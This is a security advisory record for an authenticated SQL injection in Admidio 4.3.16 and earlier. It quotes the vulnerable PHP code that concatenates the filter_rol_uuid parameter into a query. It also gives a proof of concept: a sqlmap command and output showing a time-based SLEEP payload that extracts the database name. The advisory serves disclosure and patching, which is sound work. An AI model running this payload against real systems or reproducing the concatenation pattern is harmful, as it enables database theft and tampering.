{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.3.16"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "admidio/admidio"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.3.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62617"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-22T16:46:03Z",
    "nvd_published_at": "2025-10-22T22:15:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nAn authenticated SQL injection vulnerability exists in the member assignment data retrieval functionality of Admidio. Any authenticated user with permissions to assign members to a role (such as an administrator) can exploit this vulnerability to execute arbitrary SQL commands. This can lead to a full compromise of the application\u0027s database, including reading, modifying, or deleting all data. The vulnerability is present in the latest version, 4.3.16.\n\n### Details\n\nThe vulnerability is located in the `adm_program/modules/groups-roles/members_assignment_data.php` script. This script handles an AJAX request to fetch a list of users for role assignment. The `filter_rol_uuid` GET parameter is not properly sanitized before being used in a raw SQL query.\n\n**File:** `adm_program/modules/groups-roles/members_assignment_data.php`\n```php\n// ... \n// The parameter is retrieved from the GET request without sufficient sanitization for SQL context.\n$getFilterRoleUuid = admFuncVariableIsValid($_GET, \u0027filter_rol_uuid\u0027, \u0027string\u0027);\n$getMembersShowAll = admFuncVariableIsValid($_GET, \u0027mem_show_all\u0027, \u0027bool\u0027, array(\u0027defaultValue\u0027 =\u003e false));\n\n// ... \n$filterRoleCondition = \u0027\u0027;\nif ($getMembersShowAll) {\n    $getFilterRoleUuid = 0;\n} else {\n    // show only members of current organization\n    if ($getFilterRoleUuid !== \u0027\u0027) {\n        // VULNERABLE CODE: $getFilterRoleUuid is directly concatenated into the query string.\n        $filterRoleCondition = \u0027 AND rol_uuid = \\\u0027\u0027.$getFilterRoleUuid . \u0027\\\u0027\u0027;\n    }\n}\n\n// ...\n// The vulnerable $filterRoleCondition is then used inside a subselect.\n$sqlSubSelect = \u0027(SELECT COUNT(*) AS count_this\n                    FROM \u0027.TBL_MEMBERS.\u0027\n              INNER JOIN \u0027.TBL_ROLES.\u0027\n                      ON rol_id = mem_rol_id\n              INNER JOIN \u0027.TBL_CATEGORIES.\u0027\n                      ON cat_id = rol_cat_id\n                   WHERE mem_usr_id  = usr_id\n                     AND mem_begin  \u003c= \\\u0027\u0027.DATE_NOW.\u0027\\\u0027\n                     AND mem_end     \u003e \\\u0027\u0027.DATE_NOW.\u0027\\\u0027\n                         \u0027.$filterRoleCondition.\u0027\n                     AND rol_valid = true\n                     AND cat_name_intern \u003c\u003e \\\u0027EVENTS\\\u0027\n                     AND cat_org_id = \u0027.$gCurrentOrgId.\u0027)\u0027;\n// ...\n```\n\nAs shown above, the value of `$getFilterRoleUuid` is directly concatenated into the `$filterRoleCondition` variable, which is then embedded within a larger SQL query (`$sqlSubSelect`). This allows an attacker to break out of the string literal and inject arbitrary SQL commands.\n\n### PoC (Proof of Concept)\n\n**Prerequisites:**\n1.  A running instance of Admidio (tested on version 4.3.16).\n2.  An authenticated user session with permissions to assign members to a role (e.g., the default \u0027admin\u0027 user).\n\n**Execution:**\nThe vulnerability can be triggered by manipulating the `filter_rol_uuid` parameter in the request to `/adm_program/modules/groups-roles/members_assignment_data.php`. Due to the large number of parameters, the easiest way to reproduce this is by capturing a legitimate request and replaying it with `sqlmap`.\n\n1.  Log in to Admidio as an administrator.\n2.  Navigate to `Groups / Roles`.\n3.  Click the \"Assign members\" icon for any existing role.\n4.  Using a web proxy like Burp Suite, intercept the GET request made to `/adm_program/modules/groups-roles/members_assignment_data.php`.\n5.  Save the entire raw request to a text file (e.g., `admidio_request.txt`).\n6.  Run the following `sqlmap` command to confirm the time-based blind SQL injection:\n\n```bash\nsqlmap -r /path/to/admidio_request.txt -p filter_rol_uuid --technique=T --dbms=mysql --current-db\n```\n\n**Result:**\n`sqlmap` will successfully identify and exploit the time-based blind SQL injection vulnerability.\n\n```\n---\nParameter: filter_rol_uuid (GET)\n    Type: time-based blind\n    Title: MySQL \u003e= 5.0.12 AND time-based blind (query SLEEP)\n    Payload: role_uuid=...\u0026filter_rol_uuid=\u0027 AND (SELECT 3332 FROM (SELECT(SLEEP(5)))vqnl) AND \u0027ENdG\u0027=\u0027ENdG\u0026...\n---\n[INFO] the back-end DBMS is MySQL\nback-end DBMS: MySQL \u003e= 5.0.12\n[INFO] fetching current database\n[INFO] retrieved: admidio\ncurrent database: \u0027admidio\u0027\n```\nThis confirms that an attacker can execute arbitrary SQL queries and extract information from the database.",
  "id": "GHSA-2v5m-cq9w-fc33",
  "modified": "2025-10-23T17:40:23Z",
  "published": "2025-10-22T16:46:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/security/advisories/GHSA-2v5m-cq9w-fc33"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62617"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Admidio/admidio/commit/fde81ae869e88a3cf42201f2548d57df785a37cb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Admidio/admidio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Admidio Vulnerable to Authenticated SQL Injection in Member Assignment Functionality"
}